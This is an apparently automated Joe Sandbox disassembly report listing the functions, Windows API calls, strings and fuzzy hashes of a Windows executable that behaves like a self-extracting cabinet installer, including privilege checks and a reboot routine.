Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Window$DialogItem$DesktopEnableLoadMessageSendStringText
String ID: $1st$C:\Users\user\AppData\Local\Temp\IXP000.TMP\
API String ID: 3530494346-3918882927
Opcode ID: dbd1a73f92a2ede6a0db1f7413e4fbcd9cca187b76dce4bf4ac4b133ae738712
Instruction ID: c0be7cf01ee7a0f763208c2176849a74567b08b8064b5740cababe8219b190cc
Opcode Fuzzy Hash: dbd1a73f92a2ede6a0db1f7413e4fbcd9cca187b76dce4bf4ac4b133ae738712
Instruction Fuzzy Hash: C5717563E0C662C6F750BF11A4827B9EAB1FBC5B91FD481B4CA4E02695CF3DE5858720

Function 00007FF749E14BDE Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 86windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF749E15140: FindResourceA.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E15168
Part of subcall function 00007FF749E15140: SizeofResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E15179
Part of subcall function 00007FF749E15140: FindResourceA.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E1519F
Part of subcall function 00007FF749E15140: LoadResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151B0
Part of subcall function 00007FF749E15140: LockResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151BF
Part of subcall function 00007FF749E15140: memcpy_s.MSVCRT ref: 00007FF749E151DE
Part of subcall function 00007FF749E15140: FreeResource.KERNEL32(?,?,0000000A,00007FF749E158A6), ref: 00007FF749E151ED

FindResourceA.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF749E14938), ref: 00007FF749E14C10
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF749E14938), ref: 00007FF749E14C21
LockResource.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF749E14938), ref: 00007FF749E14C30
GetDlgItem.USER32 ref: 00007FF749E14C5D
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF749E14938), ref: 00007FF749E14C6E
GetDlgItem.USER32 ref: 00007FF749E14C86
ShowWindow.USER32(?,?,?,?,?,?,?,?,00000000,00007FF749E14938), ref: 00007FF749E14C9A
FreeResource.KERNEL32 ref: 00007FF749E14DB1
SendMessageA.USER32 ref: 00007FF749E14E13

Strings

CABINET, xrefs: 00007FF749E14BED, 00007FF749E14C07

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Resource$Find$FreeItemLoadLockShowWindow$MessageSendSizeofmemcpy_s
String ID: CABINET
API String ID: 1305606123-1940454314
Opcode ID: 76ef0e94f0549deaf640b9006555d490fc3bb0e5fe2d088055cbb579db64d552
Instruction ID: 4d274841b9d25596c5917a7df1b6f6f87fdc6159fd27b27727164f6b8abdead2
Opcode Fuzzy Hash: 76ef0e94f0549deaf640b9006555d490fc3bb0e5fe2d088055cbb579db64d552
Instruction Fuzzy Hash: 91410A33A0C662C6FB50BF21A496775EAB1FF89B45FC581B9CA0E46795DF3CE0448620

Function 00007FF749E12590 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 69librarymemoryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF749E125CD
GetProcAddress.KERNEL32 ref: 00007FF749E125EF
AllocateAndInitializeSid.ADVAPI32 ref: 00007FF749E1263C
FreeSid.ADVAPI32 ref: 00007FF749E1266E
FreeLibrary.KERNEL32 ref: 00007FF749E1267D

Strings

advapi32.dll, xrefs: 00007FF749E125C0
CheckTokenMembership, xrefs: 00007FF749E125E5

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: FreeLibrary$AddressAllocateInitializeLoadProc
String ID: CheckTokenMembership$advapi32.dll
API String ID: 4204503880-1888249752
Opcode ID: e160c6785fde90a48b04fb9c74fff3393dcd095ced99b921061e37aaea61ca71
Instruction ID: 728f837506532545d664e34e0f6a7836c6e0e9970a0b759855c8f9bfaf3f964b
Opcode Fuzzy Hash: e160c6785fde90a48b04fb9c74fff3393dcd095ced99b921061e37aaea61ca71
Instruction Fuzzy Hash: 7431063360CB55CAE650AF16F4852AABBB0FB89B90F855169EE4E43718DF3CE445CB10

Function 00007FF749E133BC Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 64shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,00000000,00007FF749E180FA), ref: 00007FF749E133D1
OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,00000000,00007FF749E180FA), ref: 00007FF749E133EA
LookupPrivilegeValueA.ADVAPI32 ref: 00007FF749E1342B
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF749E13462
CloseHandle.KERNEL32 ref: 00007FF749E13475
ExitWindowsEx.USER32 ref: 00007FF749E134A1

Strings

SeShutdownPrivilege, xrefs: 00007FF749E13424

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentExitHandleLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 2829607268-3733053543
Opcode ID: 68f57858d0a37f1d9b97d15ccc180e4361d8fc185c2eeebe84e4efed2f4b6a83
Instruction ID: cc1fc48607880c7355d51c862f745d7babf01b56dcfd3b3888732b3310769017
Opcode Fuzzy Hash: 68f57858d0a37f1d9b97d15ccc180e4361d8fc185c2eeebe84e4efed2f4b6a83
Instruction Fuzzy Hash: F1216D73A1C652C6F750AF20F4867BABA70FB89745F809175DB4E02A58CF3CD0458B14

Function 00007FF749E118E4 Relevance: 9.0, APIs: 6, Instructions: 49timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF749E11914
GetCurrentProcessId.KERNEL32 ref: 00007FF749E11922
GetCurrentThreadId.KERNEL32 ref: 00007FF749E1192E
GetTickCount.KERNEL32 ref: 00007FF749E1193A
GetTickCount.KERNEL32 ref: 00007FF749E1194A
QueryPerformanceCounter.KERNEL32 ref: 00007FF749E11965

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: CountCurrentTickTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 4104442557-0
Opcode ID: a1a8c30bc5a850f7df6bb2e960b2db2709fe8c778fbb0e1b446c87b4c6fef4b3
Instruction ID: 127e45c4e688ef60896b45279a03e8202b0d833de687b4e5973b3182bf14e42b
Opcode Fuzzy Hash: a1a8c30bc5a850f7df6bb2e960b2db2709fe8c778fbb0e1b446c87b4c6fef4b3
Instruction Fuzzy Hash: E3111F26A08B51CAEB00EF71E8852A873B4FB49758F800A35EA6D47754EF7CD5A48350

Function 00007FF749E1170E Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF749E1171B

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 33b5d242f9dae548e22f746f2c14e26181d9d5e8b558b2e26dfd9b2729eaeda7
Instruction ID: 3e1e5db16999e5c36d089c4c38fe620b199e50607c951a322a8db4f767a571da
Opcode Fuzzy Hash: 33b5d242f9dae548e22f746f2c14e26181d9d5e8b558b2e26dfd9b2729eaeda7
Instruction Fuzzy Hash: 60B09B476175D281E50577B55D8504515501B465307C81594871482A54D95C91594615

Function 00007FF749E1499E Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 120threadwindowCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32 ref: 00007FF749E149F4
ResetEvent.KERNEL32 ref: 00007FF749E14A1C
SetEvent.KERNEL32 ref: 00007FF749E14A63
GetDesktopWindow.USER32 ref: 00007FF749E14AA8
GetDlgItem.USER32 ref: 00007FF749E14AD2
SendMessageA.USER32 ref: 00007FF749E14AEF
GetDlgItem.USER32 ref: 00007FF749E14B00
SendMessageA.USER32 ref: 00007FF749E14B1F
SetWindowTextA.USER32 ref: 00007FF749E14B35
CreateThread.KERNEL32 ref: 00007FF749E14B60
EndDialog.USER32 ref: 00007FF749E14BAA

Strings

1st, xrefs: 00007FF749E14B2B
, xrefs: 00007FF749E14A46

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: EventItemMessageSendThreadWindow$CreateDesktopDialogResetTerminateText
String ID: $1st
API String ID: 2654313074-1583411399
Opcode ID: 161ecbf182c25f1165986d72c8c0059cd173de4edb9b55fbd2b049afc53b66ca
Instruction ID: 39d76fe7fa45855f8f9626ae848a8aba6df7dd46103434dea0fa6fe1362d3cc1
Opcode Fuzzy Hash: 161ecbf182c25f1165986d72c8c0059cd173de4edb9b55fbd2b049afc53b66ca
Instruction Fuzzy Hash: 49517333A0C662C6E710BF11E8C6279EAB1FB89B55F8492B1CA1E42794DF3CE4458720

Function 00007FF749E16768 Relevance: 23.2, APIs: 10, Strings: 3, Instructions: 477COMMON

Download Yara Rule

APIs

CharNextA.USER32 ref: 00007FF749E167E7
GetModuleFileNameA.KERNEL32 ref: 00007FF749E168BB
CharUpperA.USER32 ref: 00007FF749E168FE
CharUpperA.USER32 ref: 00007FF749E16994
CompareStringA.KERNEL32 ref: 00007FF749E16A28
CharUpperA.USER32 ref: 00007FF749E16A63
CharUpperA.USER32 ref: 00007FF749E16ABF
CharUpperA.USER32 ref: 00007FF749E16B5C

Part of subcall function 00007FF749E189BC: IsDBCSLeadByte.KERNEL32 ref: 00007FF749E189E1
Part of subcall function 00007FF749E189BC: CharNextA.USER32 ref: 00007FF749E189F9

CloseHandle.KERNEL32 ref: 00007FF749E16D89
ExitProcess.KERNEL32 ref: 00007FF749E16D97

Strings

:, xrefs: 00007FF749E16B03
", xrefs: 00007FF749E1684E
RegServer, xrefs: 00007FF749E16A19

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Char$Upper$Next$ByteCloseCompareExitFileHandleLeadModuleNameProcessString
String ID: "$:$RegServer
API String ID: 23972181-766454958
Opcode ID: 30a90c34f7cbb46e34736c76c13f057931b7289761545bddfdfb8314716cf64c
Instruction ID: d9fefdfa971469bdbe83ed0066c45b218e836425ac9fb83c474de2abd3f4c65a
Opcode Fuzzy Hash: 30a90c34f7cbb46e34736c76c13f057931b7289761545bddfdfb8314716cf64c
Instruction Fuzzy Hash: 5712D463A0C6A2C2EF20BF15A4D62B9EBB1BF41F94FD441B5C95E06695CE2DEC05C720

Function 00007FF749E13950 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 141libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00007FF749E1397A
GetProcAddress.KERNEL32 ref: 00007FF749E1399E
GetProcAddress.KERNEL32 ref: 00007FF749E139BE
GetProcAddress.KERNEL32 ref: 00007FF749E139E5
GetTempPathA.KERNEL32 ref: 00007FF749E13A16
CharPrevA.USER32 ref: 00007FF749E13A34
CharPrevA.USER32 ref: 00007FF749E13A4E
FreeLibrary.KERNEL32 ref: 00007FF749E13B30
FreeLibrary.KERNEL32 ref: 00007FF749E13B4C

Strings

SHELL32.DLL, xrefs: 00007FF749E13973
SHBrowseForFolder, xrefs: 00007FF749E13994
SHGetPathFromIDList, xrefs: 00007FF749E139DB

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: AddressLibraryProc$CharFreePrev$LoadPathTemp
String ID: SHBrowseForFolder$SHELL32.DLL$SHGetPathFromIDList
API String ID: 1865808269-1731843650
Opcode ID: a68a2c2134a308fc5224faae6e68b9a8e707b355ac96a450fb768dad26968aab
Instruction ID: 778f883b1081e2ebdc73112c7abbe9a453b738e5b200a115b44e840cd42ffd7d
Opcode Fuzzy Hash: a68a2c2134a308fc5224faae6e68b9a8e707b355ac96a450fb768dad26968aab
Instruction Fuzzy Hash: BE516922A0DBA1C6EB11BF11B891569BBB0BB49B90F8451B5DA9E03794EF3CE445C320

Function 00007FF749E12D34 Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 149registryCOMMON

Download Yara Rule

APIs

CharUpperA.USER32 ref: 00007FF749E12D7A
CharNextA.USER32 ref: 00007FF749E12D8C
CharNextA.USER32 ref: 00007FF749E12D9B
GetWindowsDirectoryA.KERNEL32 ref: 00007FF749E12DC4
GetSystemDirectoryA.KERNEL32 ref: 00007FF749E12DDD
RegOpenKeyExA.ADVAPI32 ref: 00007FF749E12E6C
RegQueryValueExA.ADVAPI32 ref: 00007FF749E12EA3
ExpandEnvironmentStringsA.KERNEL32 ref: 00007FF749E12ECA
RegCloseKey.ADVAPI32 ref: 00007FF749E12F2B
GetSystemDirectoryA.KERNEL32 ref: 00007FF749E12F42

Strings

Software\Microsoft\Windows\CurrentVersion\App Paths, xrefs: 00007FF749E12DEE

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: CharDirectory$NextSystem$CloseEnvironmentExpandOpenQueryStringsUpperValueWindows
String ID: Software\Microsoft\Windows\CurrentVersion\App Paths
API String ID: 229715263-2428544900
Opcode ID: 1142a4cd6e006e845246af9bdb5df0897ae5876e42b73e5154f1751647277efe
Instruction ID: 93bf4128e4439b5cc8cd40c950d6ab1750e43a108a6f6afd9d139277bac072ec
Opcode Fuzzy Hash: 1142a4cd6e006e845246af9bdb5df0897ae5876e42b73e5154f1751647277efe
Instruction Fuzzy Hash: AF517B6361C691C6EA11AF10E8852BABBB1FB8AB80FD490B1DB4E07799DF3CD445C710

Function 00007FF749E161E8 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 180memorywindowCOMMON

Download Yara Rule

APIs

LoadStringA.USER32 ref: 00007FF749E16278
LocalAlloc.KERNEL32 ref: 00007FF749E16379
LocalAlloc.KERNEL32 ref: 00007FF749E163AD
MessageBoxA.USER32 ref: 00007FF749E162B8

Part of subcall function 00007FF749E18AE4: EnumResourceLanguagesA.KERNEL32 ref: 00007FF749E18B3C
Part of subcall function 00007FF749E18AE4: EnumResourceLanguagesA.KERNEL32 ref: 00007FF749E18B7A

LocalAlloc.KERNEL32 ref: 00007FF749E16314
MessageBeep.USER32 ref: 00007FF749E16419
MessageBoxA.USER32 ref: 00007FF749E1645E
LocalFree.KERNEL32 ref: 00007FF749E1646F

Part of subcall function 00007FF749E18BB4: GetVersionExA.KERNEL32 ref: 00007FF749E18C09
Part of subcall function 00007FF749E18BB4: GetSystemMetrics.USER32 ref: 00007FF749E18C43
Part of subcall function 00007FF749E18BB4: RegOpenKeyExA.ADVAPI32 ref: 00007FF749E18C78
Part of subcall function 00007FF749E18BB4: RegQueryValueExA.ADVAPI32 ref: 00007FF749E18CB3
Part of subcall function 00007FF749E18BB4: RegCloseKey.ADVAPI32 ref: 00007FF749E18CC6
Part of subcall function 00007FF749E18BB4: CharNextA.USER32 ref: 00007FF749E18D15

Strings

rce., xrefs: 00007FF749E16224
1st, xrefs: 00007FF749E162A9, 00007FF749E1644A

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Local$AllocMessage$EnumLanguagesResource$BeepCharCloseFreeLoadMetricsNextOpenQueryStringSystemValueVersion
String ID: 1st$rce.
API String ID: 2929476258-449580908
Opcode ID: 3ed11fbad5beae089dae1fca1131bae79aefec419c72aa5072dd9cc5e96e98b3
Instruction ID: 37907d5ae5ea000df801e1a7361261e2fc4ac63fe6243c15556ba8c9692bcea5
Opcode Fuzzy Hash: 3ed11fbad5beae089dae1fca1131bae79aefec419c72aa5072dd9cc5e96e98b3
Instruction Fuzzy Hash: 7F71B323E0C6A5C6FA51BF25A4823B8E6A0BB54B54F8442B1DE4D077C5DF3CE846C320

Function 00007FF749E1604E Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 69windowCOMMON

Download Yara Rule

APIs

EndDialog.USER32 ref: 00007FF749E16090
GetDesktopWindow.USER32 ref: 00007FF749E160A1
SetDlgItemTextA.USER32 ref: 00007FF749E160C7
SetWindowTextA.USER32 ref: 00007FF749E160DD
SetForegroundWindow.USER32 ref: 00007FF749E160EC
GetDlgItem.USER32 ref: 00007FF749E16100
GetWindowLongPtrA.USER32 ref: 00007FF749E16117
SetWindowLongPtrA.USER32 ref: 00007FF749E16139
SendDlgItemMessageA.USER32 ref: 00007FF749E1616A

Strings

1st, xrefs: 00007FF749E160D3

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Window$Item$LongText$DesktopDialogForegroundMessageSend
String ID: 1st
API String ID: 3785188418-2308098469
Opcode ID: b99bfbc71c6e47e8d2dd802e5a3d49e478e887f1f55d0a3e4aad63706f5b073e
Instruction ID: e51ea5c5cf9f59f15304068eb0ba1c7a516cc07323a6c09252b0dd63413a633c
Opcode Fuzzy Hash: b99bfbc71c6e47e8d2dd802e5a3d49e478e887f1f55d0a3e4aad63706f5b073e
Instruction Fuzzy Hash: 8331293290C652C6E6147F65B4452B8FB71FB8AB61FC492B0C91E06395CF3CE545C721

Function 00007FF749E13118 Relevance: 16.6, APIs: 11, Instructions: 125memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF749E12590: LoadLibraryA.KERNEL32 ref: 00007FF749E125CD
Part of subcall function 00007FF749E12590: GetProcAddress.KERNEL32 ref: 00007FF749E125EF
Part of subcall function 00007FF749E12590: AllocateAndInitializeSid.ADVAPI32 ref: 00007FF749E1263C
Part of subcall function 00007FF749E12590: FreeSid.ADVAPI32 ref: 00007FF749E1266E
Part of subcall function 00007FF749E12590: FreeLibrary.KERNEL32 ref: 00007FF749E1267D

GetCurrentProcess.KERNEL32 ref: 00007FF749E13179
OpenProcessToken.ADVAPI32 ref: 00007FF749E1318F
GetTokenInformation.ADVAPI32 ref: 00007FF749E131B8
GetLastError.KERNEL32 ref: 00007FF749E131CC
LocalAlloc.KERNEL32 ref: 00007FF749E131E6
GetTokenInformation.ADVAPI32 ref: 00007FF749E13214
AllocateAndInitializeSid.ADVAPI32 ref: 00007FF749E13261
EqualSid.ADVAPI32 ref: 00007FF749E1328C
FreeSid.ADVAPI32 ref: 00007FF749E132B1
LocalFree.KERNEL32 ref: 00007FF749E132C0
CloseHandle.KERNEL32 ref: 00007FF749E132D0

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: Free$Token$AllocateInformationInitializeLibraryLocalProcess$AddressAllocCloseCurrentEqualErrorHandleLastLoadOpenProc
String ID:
API String ID: 2168512254-0
Opcode ID: 5aa378a5a02dea733385acf5e55f93e1415a95ae54cf52c9b480b087f5f96856
Instruction ID: de51e427a966ac553cff32829aad5f3fcc7041e2c3eeb8548fdca4330cd82266
Opcode Fuzzy Hash: 5aa378a5a02dea733385acf5e55f93e1415a95ae54cf52c9b480b087f5f96856
Instruction Fuzzy Hash: DB514D33608A52CBEB14BF21E4951A9BBB4FB4DB88F815175EA4E53758DF38D444CB10

Function 00007FF749E18BB4 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 109registryCOMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00007FF749E18C09
GetSystemMetrics.USER32 ref: 00007FF749E18C43
RegOpenKeyExA.ADVAPI32 ref: 00007FF749E18C78
RegQueryValueExA.ADVAPI32 ref: 00007FF749E18CB3
RegCloseKey.ADVAPI32 ref: 00007FF749E18CC6
CharNextA.USER32 ref: 00007FF749E18D15

Strings

Control Panel\Desktop\ResourceLocale, xrefs: 00007FF749E18C6A

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290864597.00007FF749E1C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290885893.00007FF749E1E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff749e10000_5q1Wm5VlqL.jbxd

Similarity

API ID: CharCloseMetricsNextOpenQuerySystemValueVersion
String ID: Control Panel\Desktop\ResourceLocale
API String ID: 3346862599-1109908249
Opcode ID: 79618cbf566f24ba719aea2154ce45ce3ef321f6ac2e06029fa2153c5c1a82fb
Instruction ID: 0e85ca5abb106d286a9b32676feba397aa984faa7e6ee535212dd5a4ae27d720
Opcode Fuzzy Hash: 79618cbf566f24ba719aea2154ce45ce3ef321f6ac2e06029fa2153c5c1a82fb
Instruction Fuzzy Hash: 31517B33A0CBA1CBE710AF20A4812A9B7B5FB99B50F8552B1DA5E03794DF3CE545CB11

Function 00007FF749E12A10 Relevance: 12.2, APIs: 8, Instructions: 175COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32 ref: 00007FF749E12A62
IsDBCSLeadByte.KERNEL32 ref: 00007FF749E12A7E
CharNextA.USER32 ref: 00007FF749E12AA4
CharUpperA.USER32 ref: 00007FF749E12AB7
CharPrevA.USER32 ref: 00007FF749E12AF3
CharUpperA.USER32 ref: 00007FF749E12B99
CharNextA.USER32 ref: 00007FF749E12C3E
CharNextA.USER32 ref: 00007FF749E12C50

Memory Dump Source

Source File: 00000000.00000002.2290796076.00007FF749E11000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF749E10000, based on PE: true

Associated: 00000000.00000002.2290770046.00007FF749E10000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2290816737.00007FF749E19000.00000002.00000001.01000000.00000003.sdmpDownload File
